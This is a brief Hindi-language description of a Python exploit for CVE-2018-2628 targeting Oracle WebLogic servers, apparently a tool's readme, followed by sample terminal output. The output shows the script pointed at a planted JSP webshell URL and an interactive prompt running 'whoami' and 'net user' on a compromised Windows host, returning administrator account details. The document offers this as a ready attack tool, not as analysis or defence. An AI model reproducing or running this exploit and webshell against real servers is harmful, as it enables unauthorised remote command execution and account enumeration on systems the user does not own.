
CVE-2018-2628 के लिए Python शोषण जो WebLogic सर्वरों को लक्षित करता है, इंटरैक्टिव cmd इंटरफ़ेस के साथ JSP वेबशेल के माध्यम से रिमोट कमांड निष्पादन प्रदान करता है।



> python cve-2018-2628.py
set url :http://xx.xx.xx.xx:8001/bea_wls_internal/wlscmd.jsp
cmd >>: whoami
win-xxx8cb989qh\administrator
cmd >>: net user
\\WIN-XXX8CB989QH 的用户帐户
-------------------------------------------------------------------------------
Administrator Guest
命令成功完成。
cmd >>: